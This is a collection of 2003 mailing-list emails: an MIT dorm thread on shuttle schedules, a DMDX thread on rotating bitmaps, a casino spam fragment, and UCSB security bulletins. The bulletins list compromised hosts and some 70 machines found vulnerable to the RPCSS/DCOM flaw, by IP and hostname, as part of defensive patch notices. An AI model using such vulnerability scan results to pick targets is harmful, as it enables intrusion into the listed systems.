for the east campus dorms where you can walk >>> > >almost the whole way indoors anyway, but no extra coverage for all >>> of the >>> > >west campus undergrad (and grad) houses? As the last shuttle stop >>> > >following all of those boring brick buildings on the other side of the >>> > >field, I would have to imagine that the shuttle will be pretty much >>> full >>> > >by the time it makes it to simmons on a cold winter day and a extra >>> > >shuttle every 10 would be beneficial. I vote no. >>> > > >>> > >Aron >>> > > >>> > >At 09:41 AM 11/24/2003 -0500, you wrote: >>> > >>In this plan, if I read it right, we (including all of the >>> residents of >>> >west >>> > >>campus) would essentially be forfeiting all of the advantages of a >>> more >>> > >>frequent winter tech shuttle by allowing this plan to proceed. >>> Right me >> > if >>> > >>I'm wrong. Do other sims care? >>> > >> >>> > >> >>> > >>_______________________________________________ >>> > >>Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources >>> > >> >>> > >>---- For Archives & Subscription: Sponge-talk@mit.edu >>> > >>http://mailman.mit.edu/mailman/listinfo/sponge-talk >>> > >>> >_______________________________________________ >>> >Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources >>> > >>> >---- For Archives & Subscription: Sponge-talk@mit.edu >>> >http://mailman.mit.edu/mailman/listinfo/sponge-talk >>> > >>> >_______________________________________________ >>> >Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources >>> > >>> >---- For Archives & Subscription: Sponge-talk@mit.edu >>> >http://mailman.mit.edu/mailman/listinfo/sponge-talk >>> >>> _______________________________________________ >>> Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources >>> >>> ---- For Archives & Subscription: Sponge-talk@mit.edu >>> http://mailman.mit.edu/mailman/listinfo/sponge-talk >> >> >> >>_______________________________________________ >>Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources >> >>---- For Archives & Subscription: Sponge-talk@mit.edu >>http://mailman.mit.edu/mailman/listinfo/sponge-talk > >_______________________________________________ >Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources > >---- For Archives & Subscription: Sponge-talk@mit.edu >http://mailman.mit.edu/mailman/listinfo/sponge-talk _______________________________________________ Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources ---- For Archives & Subscription: Sponge-talk@mit.edu http://mailman.mit.edu/mailman/listinfo/sponge-talk >From - Tue Nov 25 09:13:39 2003 X-Mozilla-Status: 0011 X-Mozilla-Status2: 00000000 Return-Path: Received: from po9.mit.edu (po9.mit.edu [18.7.21.65]) by po9.mit.edu (Cyrus v2.1.5) with LMTP; Tue, 25 Nov 2003 02:23:58 -0500 X-Sieve: CMU Sieve 2.2 Received: from fort-point-station.mit.edu by po9.mit.edu (8.12.4/4.7) id hAP7Nr6I017323; Tue, 25 Nov 2003 02:23:53 -0500 (EST) Received: from pch.mit.edu (PCH.MIT.EDU [18.7.21.90]) by fort-point-station.mit.edu (8.12.4/8.9.2) with ESMTP id hAP7NPlP018935; Tue, 25 Nov 2003 02:23:25 -0500 (EST) Received: from pch.mit.edu (localhost [127.0.0.1]) by pch.mit.edu (8.12.8p2/8.12.8) with ESMTP id hAP7NNqb008831; Tue, 25 Nov 2003 02:23:23 -0500 (EST) Received: from fort-point-station.mit.edu (FORT-POINT-STATION.MIT.EDU [18.7.7.76]) by pch.mit.edu (8.12.8p2/8.12.8) with ESMTP id hAP7NLqb008826 for ; Tue, 25 Nov 2003 02:23:21 -0500 (EST) Received: from grand-central-station.mit.edu (GRAND-CENTRAL-STATION.MIT.EDU [18.7.21.82])hAP7NLlP018897 for ; Tue, 25 Nov 2003 02:23:21 -0500 (EST) Received: from melbourne-city-street.mit.edu (MELBOURNE-CITY-STREET.MIT.EDU [18.7.21.86])hAP7NJiA023065; Tue, 25 Nov 2003 02:23:20 -0500 (EST) Received: from MKASHLEV.mit.edu (MKASHLEV.MIT.EDU [18.96.1.232]) (authenticated bits=0) (User authenticated as mkashlev@ATHENA.MIT.EDU)hAP7MxZs001034 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT); Tue, 25 Nov 2003 02:23:00 -0500 (EST) Message-Id: <5.2.1.1.2.20031125021506.026f64c8@po14.mit.edu> X-Sender: mkashlev@po14.mit.edu X-Mailer: QUALCOMM Windows Eudora Version 5.2.1 Date: Tue, 25 Nov 2003 02:21:06 -0500 To: ""Neil J. Kelly"" , sponge-talk@mit.edu From: Dmitry Kashlev Subject: RE: RE: [Sponge-talk] Proposed Tech Shuttle Changes In-Reply-To: <5.1.0.14.2.20031125021226.00b58c70@hesiod> References: <1069716753.3fc295113e1de@webmail.mit.edu> <5.2.1.1.2.20031124152415.00b59a28@po10.mit.edu> <5.2.1.1.2.20031124170829.0157bd48@po12.mit.edu> <1069716753.3fc295113e1de@webmail.mit.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed X-BeenThere: sponge-talk@mit.edu X-Mailman-Version: 2.1 Precedence: list List-Id: Discussion surrounding Simmons Hall List-Help: List-Post: List-Subscribe: , List-Archive: List-Unsubscribe: , Sender: sponge-talk-bounces@MIT.EDU Errors-To: sponge-talk-bounces@MIT.EDU X-Spam-Score: 0.1 X-Spam-Flag: NO X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) Yup, underground monorail that would traverse the famous underground tunnels... that would be the first major step MIT could make towards connecting west campus with east campus. Oh wait, if there were underground tunnels, no one would need monorails because the underground tunnels could be heated and we might as well just walk to east campus under the ground. If you're too lazy to walk, MIT could build a moving walkway (like in airports). Or its time to start thinking about teleporters. Beam me east! ~D At 02:12 AM 11/25/2003 -0500, Neil J. Kelly wrote: >We need a monorail. > >At 01:36 AM 11/25/2003 -0500, Gillian Harding wrote: >>Personally, I come from a much colder and snowier place than here and can >>deal with the walk to 77. However, the only times I ever take any of the >>shuttles is to go to my early morning classes at Sloan. I don't think it >>would be fair to cut out the west dorm people from Sloan since there are >>a lot of people who need to go there (more sloan blg folks on the west >>side than other parts of campus) and its at least a 20 minute walk. >>However, I agree wholeheartedly that something needs to be done about >>the compactness of the shuttle when it reaches Simmons. Even over the >>summer, the Tech shuttle was often full at Simmons. >> >> >> >>>It's unfair that people in Sid-Pac, Edgerton, etc. have no access to any >>>TechShuttle. But even with 10 minute tech shuttles, it is often packed >>>by the >>>time it gets to Simmons because of people getting on at Tang. Maybe if they >>>had one ""grad-dorm"" route and one ""undergrad"" route (basically, put Tang >>>on a >>>different route) this would even out, and every 20 minutes would still >>>work and >>>we could get on. >>> >>>Quoting ""Kaitlin E.M. Lewis"" : >>> >>>> that was my experience last year with the tech shuttle. i mean, i have >>>> that problem now sometimes...i'm about to get on and the guy is like, no >>>> sorry, no more people. the lower wait time isn't the only thing the west >>>> side dorms are losing....but simmons gets the raw end of the deal >>>> with the >>>> west side dorms because of how many people choose to use the shuttle >>>> in the >>>> winter. >>>> >>>> kait >>>> >>>> At 04:35 PM 11/24/2003 -0500, Amy Wu wrote: >>>> >i do like the idea of having a shuttle for the NW pplz (esp. >>>> Sid-Pac), but >>>> >aron is right about tech shuttle being full by the time it reaches >>>> simmons >>>> >during the winter months. it's not a matter of waiting an extra 10 >>>> mins for >>>> >a tech shuttle (from the GSC- ""One difference introduced by the current >>>> plan >>>> >is that some users would not receive a reduced waiting time of 10 >>>> minutes >>>> >between shuttles during the winter schedule hours. Our hope is that >>>> these >>>> >users would be willing to accommodate this change so that better >>>> coverage >>>> >can be provided to MIT community members as a whole""). the problem >>>> is that >>>> >all these grad students and pplz from the other side of the field >>>> pile up >>>> on >>>> >tech shuttle so that by the time it gets to simmons, there is no >>>> room. im >>>> >sure a lot of pplz who lived in simmons last year experienced this. the >>>> tech >>>> >shuttle is literally jam packed...every space is taken up... >>>> > >>>> >anyways, i didn't really take a side...but those are my thoughts=) >>> > > >>> > >~amy >>> > > >>> > > >>> > >-----Original Message----- >>> > >From: sponge-talk-bounces@MIT.EDU >>> [mailto:sponge-talk-bounces@MIT.EDU]On >>> > >Behalf Of Aron Zingman >>>> >Sent: Monday, November 24, 2003 3:24 PM >>>> >To: sponge-talk@mit.edu >>>> >Subject: Fwd: RE: [Sponge-talk] Proposed Tech Shuttle Changes >>>> > >>>> > >>>> > >>>> > >Date: Mon, 24 Nov 2003 11:52:35 -0500 >>>> > >To: ""Andrew Lukmann"" >>>> > >From: Aron Zingman >>>> > >Subject: RE: [Sponge-talk] Proposed Tech Shuttle Changes >>>> > > >>>> > >Agreed. Isn't 8-11 the only time that anyone really cares about >>>> having >>>> > >the extra shuttle (rushing to the morning class in the snow). So >>>> there >>>> > >would be extra coverage for the east campus dorms where you can walk >>>> > >almost the whole way indoors anyway, but no extra coverage for all >>>> of the >>>> > >west campus undergrad (and grad) houses? As the last shuttle stop >>>> > >following all of those boring brick buildings on the other side of the >>>> > >field, I would have to imagine that the shuttle will be pretty >>>> much full >>>> > >by the time it makes it to simmons on a cold winter day and a extra >>>> > >shuttle every 10 would be beneficial. I vote no. >>>> > > >>>> > >Aron >>>> > > >>>> > >At 09:41 AM 11/24/2003 -0500, you wrote: >>>> > >>In this plan, if I read it right, we (including all of the >>>> residents of >>>> >west >>>> > >>campus) would essentially be forfeiting all of the advantages of >>>> a more >>>> > >>frequent winter tech shuttle by allowing this plan to proceed. >>>> Right me >>> > if >>>> > >>I'm wrong. Do other sims care? >>>> > >> >>>> > >> >>>> > >>_______________________________________________ >>>> > >>Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources >>>> > >> >>>> > >>---- For Archives & Subscription: Sponge-talk@mit.edu >>>> > >>http://mailman.mit.edu/mailman/listinfo/sponge-talk >>>> > >>>> >_______________________________________________ >>>> >Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources >>>> > >>>> >---- For Archives & Subscription: Sponge-talk@mit.edu >>>> >http://mailman.mit.edu/mailman/listinfo/sponge-talk >>>> > >>>> >_______________________________________________ >>>> >Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources >>>> > >>>> >---- For Archives & Subscription: Sponge-talk@mit.edu >>>> >http://mailman.mit.edu/mailman/listinfo/sponge-talk >>>> >>>> _______________________________________________ >>>> Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources >>>> >>>> ---- For Archives & Subscription: Sponge-talk@mit.edu >>>> http://mailman.mit.edu/mailman/listinfo/sponge-talk >>> >>> >>> >>>_______________________________________________ >>>Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources >>> >>>---- For Archives & Subscription: Sponge-talk@mit.edu >>>http://mailman.mit.edu/mailman/listinfo/sponge-talk >> >>_______________________________________________ >>Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources >> >>---- For Archives & Subscription: Sponge-talk@mit.edu >>http://mailman.mit.edu/mailman/listinfo/sponge-talk > > >_______________________________________________ >Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources > >---- For Archives & Subscription: Sponge-talk@mit.edu >http://mailman.mit.edu/mailman/listinfo/sponge-talk =================================== Dmitry Kashlev Massachusetts Institute of Technology '07 Electrical Engineering and Computer Science Address: Simmons Hall 229 Vassar Street, #572B Cambridge, MA 02139 Email: mkashlev at mit dot edu (death to SPAM!) _______________________________________________ Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources ---- For Archives & Subscription: Sponge-talk@mit.edu http://mailman.mit.edu/mailman/listinfo/sponge-talk",0,1 skeckler@cs.utexas.edu,cs352h@lists.cc.utexas.edu,"Mon, 24 Nov 2003 17:40:16 -0600",Kessler paper on 21264," CS352h-ers, Don't forget that we are discussing the Kessler paper on the Alpha 21264 tomorrow in class. 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",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 02 Dec 2003 13:00:34 -0700",[DMDX] Re: Rotating bitmaps,"At 01:07 PM 12/2/2003 -0500, you wrote: >I want to superimpose a bitmap of a bar on some stimuli for an attention >experiment. In some instances, I want the bar to be rotated in a 45 degree >angle (it is currently either vertical or horizontal). Is there a way I >can do >that in DMDX? Doubt it. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A hunch is creativity trying to tell you something. - Frank Capra ",0,0 ,,,,"(8.9.1/8.9.1) with ESMTP id OAA13614 for ; Tue, 2 Dec 2003 14:32:37 -0800 (PST) Received: from ucsb.edu (ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id OAA07337 for ; Tue, 2 Dec 2003 14:32:37 -0800 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1ARJ4N-000Hli-6C; Tue, 02 Dec 2003 14:32:35 -0800 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1ARJ4G-000HlC-Tp; Tue, 02 Dec 2003 14:32:28 -0800 Received: from security3.oit.ucsb.edu ([128.111.12.28]) by smtp.ucsb.edu with asmtp TLSv1:DES-CBC3-SHA:168 id 1ARJ4F-000Hl7-Ke; Tue, 02 Dec 2003 14:32:27 -0800 Date: Tue, 02 Dec 2003 14:32:27 -0800 From: E. Todd Atkins To: security-microsoft@ucsb.edu, csf@ucsb.edu Message-ID: <106070000.1070404347@abc.oit.ucsb.edu> X-Mailer: Mulberry/3.0.3 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; FORMAT=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Score-ucsb.edu: 0.0 (/) X-Spam-Score-ucsb.edu: 0.0 (/) Subject: [CSF] Blocked Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Spam-Score-ucsb.edu: 0.0 (/) Hello, You can find a ""blocked hosts"" list as well as a ""unpatched hosts"" lists further down in this message. Here is what you need to do if your host is in the ""blocked hosts"" list: 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. If you are not the NOC's official network contact for the address(es), then be sure to CC that person. If you decide to simply reply to this message, please do *not* include the complete lists of IPs. Please just include the IP(s) that you are writing to us about. 3. If you find any rogue services running, please include the type of service and the port that it was using. Now, here are the lists: *** Blocked Hosts (from http://noc.ucsb.edu/~shaber/net/ngb/filtered.txt) *** 128.111.29.26 -- 128.111.29.39 -- 128.111.33.155 SC33155.resnet.ucsb.edu 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.34.120 helix.mee.ucsb.edu 128.111.57.44 starbucks.ece.ucsb.edu 128.111.58.215 srpan.ece.ucsb.edu 128.111.68.248 -- 128.111.72.47 dahlehpc-3.mee.ucsb.edu 128.111.72.143 plank.mee.ucsb.edu 128.111.74.85 davidmac.materials.ucsb.edu 128.111.74.249 -- 128.111.77.107 das.crss.ucsb.edu 128.111.82.11 johntest.chemengr.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.133 codavinci.chemengr.ucsb.edu 128.111.82.140 peleg.chemengr.ucsb.edu 128.111.83.64 ts448848.chemengr.ucsb.edu 128.111.83.195 fengli.chemengr.ucsb.edu 128.111.83.205 squeaker.chemengr.ucsb.edu 128.111.92.216 -- 128.111.103.21 otter.opl.ucsb.edu 128.111.103.24 penguin.opl.ucsb.edu 128.111.103.29 trout.opl.ucsb.edu 128.111.104.131 gdhcp131.geog.ucsb.edu 128.111.104.155 euphrates.geog.ucsb.edu 128.111.104.172 keyhole.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.108.49 slicks.geol.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.120.25 ip25.lmri.ucsb.edu 128.111.138.149 -- 128.111.138.160 -- 128.111.161.6 -- 128.111.164.209 turtle.mee.ucsb.edu 128.111.180.96 SM18096.resnet.ucsb.edu 128.111.219.200 host219-200.lsdepts.ucsb.edu 128.111.229.220 -- 128.111.229.229 -- 128.111.234.239 sylvey.geog.ucsb.edu 128.111.247.7 -- 128.111.247.62 -- 128.111.247.63 -- 128.111.247.250 -- *** Unpatched hosts *** 128.111.9.214 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.9.244 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.10.81 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.19.64 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.31.120 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.31.176 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.79 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.243 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.32.251 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.33.40 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.88 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.142 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.245 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.186 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.50.92 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.52.32 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.94 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.33 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.72.123 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.73.186 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.75.116 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.239 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.49 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.92 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.198 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.249 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.79.11 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.109.172 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.164.79 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.94 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.180.178 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.205 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.219 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.220 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.244 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.131 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.140 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.204 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.207 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.216 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.75 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.195 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.212 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.218 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.219 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.41 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.99 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.183.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.229 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.184.78 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.184.137 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.184.197 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.193.211 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.193.229 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.197.118 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.197.186 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.197.189 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.198.220 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.202.228 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.234.23 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.234.160 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.248.88 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.106 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.248.120 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.248.173 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.179 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.187 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.67 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] *** Statistics *** Filtered Hosts ............................... 45 RPCSS Vulnerable ............................. 70 DCOM Disabled ................................ 66 Not Vulnerable ............................... 3737 Errors ....................................... 11 TCP Port 135 Closed or Host Timeout .......... 61652 TOTAL HOSTS SCANNED .......................... 65536 -- Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 Otto Boston ,"DMDX@psy1.psych.arizona.edu, sharlene@psy1.psych.arizona.edu, cheri@psy1.psych.arizona.edu, carrie@psy1.psych.arizona.edu, melissa@psy1.psych.arizona.edu, charles@psy1.psych.arizona.edu, zelma@psy1.psych.arizona.edu","Tue, 02 Dec 2003 02:20:53 +0200",roulette,"Hey, so glad to finally get hold of you, Log on to Hi Roller Casino and get $888 FREE Feel like getting rich in the comfort of your own home? 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If you want to be really adventurous, you could create a multitude of bars at different angles (e.g. use corel rave or the likes to output a 'video' of the bar rotating between 0 and 90 degrees at say 25 frames per second as a series of bmp's... definately possible, would require a lot of fiddling though), and then create an experiment to display a series of bars images portraying different angles very very rapidly given the impression* of motion (I've got a message in the DMDX thread explaining how to do this, but its disappeared for some reason... think I posted it in 2001). I'd use Excel to make such a DMDX experiment (A). Otherwise, you could get bogged down with code. Not too sure about how to get the superimposing bit to work without a HUGE amount of effort. Anyone any ideas? (A) http://members.lycos.co.uk/aca98atw/DMDX_for_egits.doc *computers/tv's/cinema do this anyway, so its not really a trick. Andy Woods, Department of Psychology, Aras an Phiarsaigh, University of Dublin, Trinity College, Dublin 2, Ireland. Tel: + 353 (0) 1 608 1521 Fax: + 353 (0) 1 671 2006 Mob: + 353 (0) 877794280 > -----Original Message----- > From: DMDX-owner@psy1.psych.arizona.edu > [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of Jonathan C. > Forster > Sent: 02 December 2003 20:01 > To: DMDX@psy1.psych.arizona.edu > Subject: [DMDX] Re: Rotating bitmaps > > > At 01:07 PM 12/2/2003 -0500, you wrote: > >I want to superimpose a bitmap of a bar on some stimuli for > an attention > >experiment. In some instances, I want the bar to be rotated > in a 45 degree > >angle (it is currently either vertical or horizontal). Is > there a way I > >can do > >that in DMDX? > > Doubt it. > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > A hunch is creativity trying to tell you something. > - Frank Capra > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== ",0,1 Andy ,DMDX@psy1.psych.arizona.edu,"Tue, 02 Dec 2003 22:09:48 -0000",[DMDX] RE: Re: Rotating bitmaps,"In response to my previous e-mail, have a look at the Color Key Keyword in the DMDX helpfile. Andy. > -----Original Message----- > From: DMDX-owner@psy1.psych.arizona.edu > [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of Jonathan C. > Forster > Sent: 02 December 2003 20:01 > To: DMDX@psy1.psych.arizona.edu > Subject: [DMDX] Re: Rotating bitmaps > > > At 01:07 PM 12/2/2003 -0500, you wrote: > >I want to superimpose a bitmap of a bar on some stimuli for > an attention > >experiment. In some instances, I want the bar to be rotated > in a 45 degree > >angle (it is currently either vertical or horizontal). Is > there a way I > >can do > >that in DMDX? > > Doubt it. > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > A hunch is creativity trying to tell you something. > - Frank Capra > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 02 Dec 2003 18:15:17 -0700",[DMDX] RE: Re: Rotating bitmaps,"At 10:05 PM 12/2/2003 +0000, you wrote: >(I've got a message in the DMDX >thread explaining how to do this, but its disappeared for some reason... >think I posted it in 2001). The older messages are in separate archives, there are links to them from the DMDX Updates page. You can certainly superimpose bitmaps over other things but I suspect they wanted DMDX to rotate the image 45 degrees which it can't do. Multiples of 90 are possible IIRC but 45 and anything else won't ever happen, they have to be hand made. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Bureaucrat, n.: A politician who has tenure. ",0,0 ,,,,"(8.9.1/8.9.1) with ESMTP id LAA23170 for ; Wed, 3 Dec 2003 11:14:51 -0800 (PST) Received: from ucsb.edu (ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id LAA17956 for ; Wed, 3 Dec 2003 11:14:50 -0800 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1ARcSS-0003dk-7k; Wed, 03 Dec 2003 11:14:44 -0800 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1ARcSM-0003dO-Ac; Wed, 03 Dec 2003 11:14:38 -0800 Received: from security3.oit.ucsb.edu ([128.111.12.28]) by smtp.ucsb.edu with asmtp TLSv1:DES-CBC3-SHA:168 id 1ARcSL-0003dI-3z; Wed, 03 Dec 2003 11:14:37 -0800 Date: Wed, 03 Dec 2003 11:14:33 -0800 From: E. Todd Atkins To: security-microsoft@ucsb.edu, csf@ucsb.edu Message-ID: <56580000.1070478873@abc.oit.ucsb.edu> X-Mailer: Mulberry/3.0.3 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; FORMAT=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Score-ucsb.edu: 0.0 (/) X-Spam-Score-ucsb.edu: 0.0 (/) Subject: [CSF] Blocked and RPCSS Vulnerable Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Spam-Score-ucsb.edu: 0.0 (/) Hello, You can find a ""blocked hosts"" list as well as a ""unpatched hosts"" lists further down in this message. Here is what you need to do if your host is in the ""blocked hosts"" list: 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. If you are not the NOC's official network contact for the address(es), then be sure to CC that person. If you decide to simply reply to this message, please do *not* include the complete lists of IPs. Please just include the IP(s) that you are writing to us about. 3. If you find any rogue services running, please include the type of service and the port that it was using. Now, here are the lists: *** Filtered Hosts (from http://noc.ucsb.edu/~shaber/net/ngb/filtered.txt) *** 128.111.29.26 -- 128.111.29.39 -- 128.111.33.155 SC33155.resnet.ucsb.edu 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.34.120 